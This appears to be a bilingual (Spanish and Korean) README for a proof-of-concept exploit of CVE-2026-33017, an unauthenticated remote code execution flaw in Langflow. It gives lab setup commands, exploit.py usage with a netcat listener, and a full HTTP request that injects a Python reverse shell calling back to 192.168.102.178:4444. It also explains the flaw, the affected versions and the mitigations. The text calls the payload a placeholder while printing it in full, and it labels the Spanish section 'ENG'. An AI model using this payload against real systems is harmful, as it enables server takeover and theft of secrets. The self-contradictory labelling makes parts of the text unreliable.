CVE-2026-33017 Langflow RCE

★ CVE-2026-33017 Langflow PoC de Ejecución Remota de Código ★

https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7

Configuración del Entorno

Utilice los siguientes comandos para construir y ejecutar el entorno vulnerable de Langflow:

docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln

Cómo Usar el PoC

Después de iniciar la instancia vulnerable de Langflow, ejecute el PoC con la URL de destino, el ID del flujo público y la dirección de callback del atacante.

Opción A — utilice su propio listener:

# Terminal 1: start a listener
nc -lvnp 4444

# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444

Opción B — utilice el listener integrado con --listen:

python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen

ENG

CVE-2026-33017 es una vulnerabilidad de Ejecución Remota de Código (RCE) en el proceso de construcción de flujos públicos de Langflow, una plataforma de código abierto para crear visualmente aplicaciones LLM y flujos de trabajo de IA.
Al enviar datos de flujo manipulados al endpoint build_public_tmp sin autenticación, un atacante puede provocar que se ejecute código Python arbitrario en el servidor.

Descripción General

CVE-2026-33017 afecta al siguiente endpoint de construcción de flujos públicos en Langflow, una plataforma de código abierto para crear visualmente aplicaciones LLM y flujos de trabajo de IA.

POST /api/v1/build_public_tmp/{flow_id}/flow

Un flujo público en Langflow está diseñado para compartirse con otros usuarios mediante un enlace o un mecanismo similar.
Para admitir esta funcionalidad, el endpoint de construcción prepara el flujo para su ejecución sin requerir autenticación, leyendo los nodos, las aristas y la configuración del flujo, y luego construyendo el grafo de ejecución interno necesario para ejecutarlo.

El problema era que las versiones vulnerables de build_public_tmp aceptaban no solo la información del flujo público almacenada en el servidor, sino también el campo data proporcionado en el cuerpo de la solicitud.

Este campo data podía contener la definición completa del flujo, incluyendo:

• la lista de nodos
• las conexiones entre nodos
• los valores de configuración detallados de cada nodo
• las plantillas y los datos de componentes personalizados necesarios para la ejecución

Como resultado, un atacante podía utilizar una solicitud sin autenticación para inyectar una estructura de flujo totalmente controlada por él, en lugar de depender del flujo público legítimo almacenado en el servidor.

Una parte especialmente peligrosa de este diseño es la funcionalidad de Componente Personalizado.
En Langflow, un componente representa un bloque funcional individual responsable de tareas como el manejo de entradas, la invocación de modelos o la generación de salidas. Un componente personalizado es un bloque extensible que permite a los usuarios definir su comportamiento directamente en código Python.

Por lo tanto, un atacante podía incrustar un componente personalizado que contuviera código Python malicioso dentro del objeto data manipulado, y el servidor lo procesaría como si fuera una parte normal del flujo. Como resultado, el código inyectado podía analizarse y ejecutarse durante el proceso de construcción o ejecución, lo que en última instancia conducía a la ejecución remota de código.

Versiones Afectadas

El GitHub Security Advisory indica el rango afectado como <= 1.8.2, pero la corrección — la eliminación del parámetro data — se implementó en 1.9.0. Por lo tanto, todas las versiones anteriores a 1.9.0 (incluidas 1.8.3 / 1.8.4) están afectadas, razón por la cual el registro CVE indica < 1.9.0.

Impacto

La explotación exitosa de esta vulnerabilidad puede permitir a un atacante tomar el control del servidor Langflow y llevar a cabo acciones posteriores como:

• obtener un shell en el servidor
• exfiltrar variables de entorno u otra información sensible
• instalar código malicioso adicional y establecer persistencia

Prueba de Concepto

El siguiente PoC demuestra CVE-2026-33017 en Langflow 1.8.1.

1) Identificar el ID del Flujo Público

El atacante identifica primero el flow_id de un flujo público objetivo.

2) Enviar una Solicitud de Construcción con un Componente Personalizado Malicioso

El atacante envía una solicitud build_public_tmp que inyecta un componente personalizado cuyo code de Python se ejecuta en el servidor durante la construcción temporal. En la solicitud siguiente, el valor de code se deja como marcador de posición — inserte el payload usted mismo (consulte la nota debajo de la solicitud).

POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close

{
  "data": {
    "nodes": [
      {
        "id": "Exploit",
        "data": {
          "id": "Exploit",
          "type": "ExploitComp",
          "node": {
            "template": {
              "_type": "Component",
              "code": {
                "type": "code",
                "value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name = 'X'\n    outputs = [Output(display_name='O', name='o', method='r')]\n\n    def r(self) -> Data:\n        import socket,subprocess\n        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        s.connect(('192.168.102.178', 4444))\n        p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n        p.wait()\n        return Data(data={'ok': 1})"
              }
            },
            "outputs": [
              { "types": ["Data"], "name": "o", "method": "r" }
            ]
          }
        }
      }
    ],
    "edges": []
  }
}

3) Obtener un Shell

Durante el proceso de construcción, el código incrustado en el componente personalizado se ejecuta en el servidor. Cuando se utiliza la variante de reverse shell (automatizada por exploit.py), se establece una conexión de vuelta al listener del atacante, otorgándole un shell interactivo para ejecutar comandos arbitrarios en el servidor.

Análisis Técnico

Aunque build_public_tmp estaba diseñado para construir flujos públicos, las versiones vulnerables aún aceptaban un campo data directamente del cuerpo de la solicitud.

Debido a este diseño, el data proporcionado por el atacante se pasaba directamente a la lógica de construcción del servidor, y cualquier código Python incrustado en un componente personalizado se manejaba como si formara parte de un flujo legítimo.

Como resultado, un atacante no necesitaba depender del flujo público original almacenado en el servidor. En su lugar, podía inyectar su propia definición de flujo totalmente maliciosa, incluido código que podía ejecutarse en el servidor.

Después del parche, build_public_tmp ya no acepta data proporcionado externamente.
En otras palabras, se eliminó la vía que antes permitía a los atacantes inyectar una definición completa de flujo a través del cuerpo de la solicitud, lo que también impidió la ejecución arbitraria de código mediante componentes personalizados maliciosos.

Mitigación

• actualizar a Langflow 1.9.0 o posterior
• eliminar la exposición innecesaria de flujos públicos
• restringir el acceso externo directo a las instancias de Langflow

Referencias

• GitHub Security Advisory: GHSA-vwmf-pq79-vjvx
• NVD: CVE-2026-33017
• Commit del Parche: 73b6612e3ef25fdae0a752d75b0fabd47328d4f0

Análisis

• KR:
• EN:

KOR

CVE-2026-33017은 오픈소스 AI 워크플로우 플랫폼 Langflow의 Public 플로우 빌드 과정에서 발생하는 원격 코드 실행(Remote Code Execution, RCE) 취약점이다.
공격자는 인증 없이 build_public_tmp 엔드포인트에 조작된 플로우 데이터를 전달함으로써, 서버 측에서 임의 Python 코드 실행을 유도할 수 있다.

Overview

CVE-2026-33017은 LLM 애플리케이션과 AI 워크플로우를 시각적으로 구성할 수 있는 오픈소스 플랫폼 Langflow의 Public 플로우 빌드 엔드포인트인 아래 API에서 발생한다.

POST /api/v1/build_public_tmp/{flow_id}/flow

Langflow의 Public 플로우는 다른 사용자가 링크 등을 통해 불러와 사용할 수 있도록 외부에 공개되는 플로우이다.
이 기능은 인증 없이도 해당 플로우를 실행 가능한 상태로 준비할 수 있도록 설계되어 있으며, 빌드 엔드포인트는 플로우를 구성하는 노드, 연결 관계, 설정값 등을 바탕으로 내부 실행 그래프를 생성하고 각 블록이 실제로 동작할 수 있도록 준비하는 역할을 수행한다.

문제는 취약한 버전의 build_public_tmp 엔드포인트가 요청 바디에 포함된 data 값도 함께 받아들였다는 점이다.

이 data에는 다음과 같은 플로우 전체 정의가 포함될 수 있다.

• 노드 목록
• 노드 간 연결 관계
• 각 노드의 세부 설정값
• 실행에 필요한 템플릿 및 커스텀 컴포넌트 정보

즉, 공격자는 인증 없는 요청으로 서버에 저장된 정상 플로우 대신 자신이 조작한 플로우 구조 전체를 주입할 수 있었다.

이 과정에서 특히 위험한 요소는 커스텀 컴포넌트(Custom Component) 이다.
Langflow에서 컴포넌트는 입력 처리, 모델 호출, 출력 생성 등 개별 기능을 담당하는 블록이며, 커스텀 컴포넌트는 사용자가 Python 코드로 직접 정의할 수 있는 확장형 블록이다.

공격자는 조작한 data 내부에 악성 Python 코드가 포함된 커스텀 컴포넌트를 삽입할 수 있었고, 서버는 이를 정상적인 플로우 구성 요소처럼 처리했다. 그 결과, 해당 코드가 빌드/실행 흐름에서 실제로 해석·실행되며 원격 코드 실행이 가능해졌다.

Affected Versions

GitHub Security Advisory는 영향 범위를 <= 1.8.2로 표기하지만, 실제 패치(data 파라미터 제거)는 1.9.0에 반영되었다. 따라서 1.8.3·1.8.4를 포함해 1.9.0 이전의 모든 버전이 취약하며, CVE Record도 이를 < 1.9.0으로 명시한다.

Impact

이 취약점을 통해 공격자는 Langflow 서버를 제어한 뒤 추가 행위를 수행할 수 있다. 대표적인 영향은 다음과 같다.

• 서버 셸 획득
• 환경 변수 및 비밀정보 유출
• 추가 악성 코드 설치 및 지속성 확보

Proof of Concept

아래 PoC는 Langflow 1.8.1 환경에서 CVE-2026-33017을 재현하는 예시이다.

1) Public 플로우 ID 확인

공격자는 공격 대상이 되는 Public 플로우의 flow_id 를 먼저 파악한다.

2) 악성 커스텀 컴포넌트 빌드 요청

공격자는 커스텀 컴포넌트의 Python code가 임시 빌드 과정에서 서버에서 실행되도록 조작한 build_public_tmp 요청을 전송한다. 아래 요청의 code 값은 자리표시자로 비워 두었으며, 페이로드는 직접 채워 넣어야 한다(요청 아래 안내 참고).

POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close

{
  "data": {
    "nodes": [
      {
        "id": "Exploit",
        "data": {
          "id": "Exploit",
          "type": "ExploitComp",
          "node": {
            "template": {
              "_type": "Component",
              "code": {
                "type": "code",
                "value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name = 'X'\n    outputs = [Output(display_name='O', name='o', method='r')]\n\n    def r(self) -> Data:\n        import socket,subprocess\n        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        s.connect(('192.168.102.178', 4444))\n        p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n        p.wait()\n        return Data(data={'ok': 1})"
              }
            },
            "outputs": [
              { "types": ["Data"], "name": "o", "method": "r" }
            ]
          }
        }
      }
    ],
    "edges": []
  }
}

3) 쉘 탈취

빌드 과정에서 커스텀 컴포넌트에 포함된 코드가 서버에서 실행된다. exploit.py가 자동화하는 리버스 셸 방식을 사용하면 공격자 측 리스너로 연결이 수립되어, 공격자는 서버 상에서 임의 명령을 실행할 수 있는 대화형 셸을 획득한다.

Technical Analysis

취약 버전의 build_public_tmp 엔드포인트는 Public 플로우를 위한 빌드 API 임에도 불구하고, 요청 본문에서 data 값을 직접 받을 수 있었다.

이 설계 때문에 공격자가 전달한 data는 서버 측 빌드 로직에 그대로 반영되었고, 그 내부에 포함된 커스텀 컴포넌트의 Python 코드 역시 정상 플로우 구성 요소처럼 처리되었다.

결과적으로 공격자는 서버에 저장된 원래의 Public 플로우를 따르지 않고, 자신이 만든 악성 플로우 정의를 그대로 주입할 수 있었으며, 이 안에 포함된 악성 코드가 서버에서 실행될 수 있었다.

패치 이후에는 build_public_tmp에서 더 이상 외부 요청으로부터 data를 받지 않도록 수정되었다.
즉, 공격자가 요청 바디를 통해 플로우 정의 자체를 주입하는 경로가 차단되었고, 이로 인해 커스텀 컴포넌트를 통한 임의 코드 실행 또한 불가능해졌다.

Mitigation

• Langflow 1.9.0 이상으로 업데이트
• 불필요한 Public 플로우 노출 제거
• Langflow 인스턴스를 외부에 직접 노출하지 않도록 네트워크 제한

References

• GitHub Security Advisory: GHSA-vwmf-pq79-vjvx
• NVD: CVE-2026-33017
• Patch Commit: 73b6612e3ef25fdae0a752d75b0fabd47328d4f0

Analysis

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